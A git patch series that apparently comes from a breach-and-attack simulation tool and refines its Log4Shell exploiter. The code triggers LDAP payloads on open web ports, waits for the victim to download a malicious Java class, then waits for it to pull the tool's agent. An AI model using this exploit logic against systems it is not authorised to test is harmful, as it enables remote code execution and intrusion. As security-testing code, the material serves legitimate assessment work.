    From 6d87289bd0991fab428e8d785f6b7104f7214347 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 20 Jan 2022 08:17:57 -0500 Subject: [PATCH 74/77] Agent: Minor change to log statement in ExploitClassHTTPServer --- .../exploit/log4shell_utils/exploit_class_http_server.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 6b956529b..612bda270 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -33,7 +33,7 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler): HTTPHandler.class_downloaded.set() - logger.info("Java class servergot a GET request!") + logger.info("Java class server received a GET request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") self.end_headers() From e576136a63b52efb44c3c08f5525407b4ff05f13 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 20 Jan 2022 08:52:09 -0500 Subject: [PATCH 75/77] Agent: Skip Log4Shell exploiter if there are no open ports --- monkey/infection_monkey/exploit/log4shell.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 48d331aaa..ed2290279 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -45,8 +45,15 @@ class Log4ShellExploiter(WebRCE): self._ldap_server = None self._exploit_class_http_server = None self._agent_http_server_thread = None + self._open_ports = [ + int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) + ] def _exploit_host(self): + if not self._open_ports: + logger.info("Could not find any open web ports to exploit") + return False + self._start_servers() try: return self.exploit(None, None) @@ -130,11 +137,8 @@ class Log4ShellExploiter(WebRCE): def exploit(self, url, command) -> bool: # Try to exploit all services, # because we don't know which services are running and on which ports - open_ports = [ - int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) - ] for exploit in get_log4shell_service_exploiters(): - for port in open_ports: + for port in self._open_ports: try: exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) except Exception as ex: From d21dd6da1330e8beebfeb9b3d494b71122a657e0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 20 Jan 2022 10:26:12 -0500 Subject: [PATCH 76/77] Agent: Wait for victim to download agent before killing servers The Log4Shell exploiter requires the victim to contact a number of different servers. Wait a reasonable amount of time for the victim to call home and download the agent before issuing the shutdown command to the server. --- monkey/infection_monkey/exploit/log4shell.py | 56 ++++++++++++++++---- 1 file changed, 46 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index ed2290279..bd0e468f9 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,5 +1,5 @@ import logging -from time import sleep +import time from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import ( @@ -13,6 +13,7 @@ from infection_monkey.exploit.log4shell_utils import ( from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT from infection_monkey.model import ( DROPPER_ARG, LOG4SHELL_LINUX_COMMAND, @@ -31,8 +32,10 @@ class Log4ShellExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" - DOWNLOAD_TIMEOUT = 15 - REQUEST_TO_VICTIM_TIME = 5 # Max time agent will wait for the response from victim in SECONDS + SERVER_SHUTDOWN_TIMEOUT = 15 + REQUEST_TO_VICTIM_TIMEOUT = ( + 5 # Max time agent will wait for the response from victim in SECONDS + ) def __init__(self, host: VictimHost): super().__init__(host) @@ -101,11 +104,11 @@ class Log4ShellExploiter(WebRCE): def _stop_servers(self): logger.debug("Stopping all LDAP and HTTP Servers") - self._agent_http_server_thread.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._agent_http_server_thread.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT) - self._exploit_class_http_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._exploit_class_http_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT) - self._ldap_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._ldap_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT) def _build_ldap_payload(self) -> str: interface_ip = get_interface_to_target(self.host.ip_addr) @@ -147,13 +150,46 @@ class Log4ShellExploiter(WebRCE): f"potential {exploit.service_name} service: {ex}" ) - # Wait for request - sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) - - if self._exploit_class_http_server.exploit_class_downloaded(): + if self._wait_for_victim(): self.exploit_info["vulnerable_service"] = { "service_name": exploit.service_name, "port": port, } return True + return False + + def _wait_for_victim(self) -> bool: + victim_called_back = False + + victim_called_back = self._wait_for_victim_to_download_java_bytecode() + if victim_called_back: + self._wait_for_victim_to_download_agent() + + return victim_called_back + + def _wait_for_victim_to_download_java_bytecode(self) -> bool: + start_time = time.time() + + while not self._victim_timeout_expired( + start_time, Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT + ): + if self._exploit_class_http_server.exploit_class_downloaded(): + return True + + time.sleep(1) + + return False + + def _wait_for_victim_to_download_agent(self): + start_time = time.time() + + while not self._victim_timeout_expired(start_time, AGENT_DOWNLOAD_TIMEOUT): + if self._agent_http_server_thread.downloads > 0: + break + + time.sleep(1) + + @classmethod + def _victim_timeout_expired(cls, start_time: float, timeout: int) -> bool: + return timeout < (time.time() - start_time) From 5bf82659bd4ed1f5ad5120dbc907119ed92790fa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 20 Jan 2022 12:14:52 -0500 Subject: [PATCH 77/77] UI: Switch CVE-2021-44228 from href to react-bootstrap Button This resolves an eslint error regarding `target="blank"` without `rel="noopener"` and makes this code more consistent with other code. --- .../security/issues/Log4ShellIssue.js | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js index d76b3131f..0adec1540 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js @@ -1,5 +1,6 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; +import {Button} from 'react-bootstrap'; export function log4shellIssueOverview() { return (
  • Some servers are vulnerable to the Log4Shell remote code execution exploit.
  • ) @@ -14,8 +15,15 @@ export function log4shellIssueReport(issue) { className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}:{issue.port}) is vulnerable to the Log4Shell remote code execution attack.
    - The attack was made possible due to an old version of Apache Log4j component. CVE-2021-44228 + The attack was made possible due to an old version of Apache Log4j component ( + ). );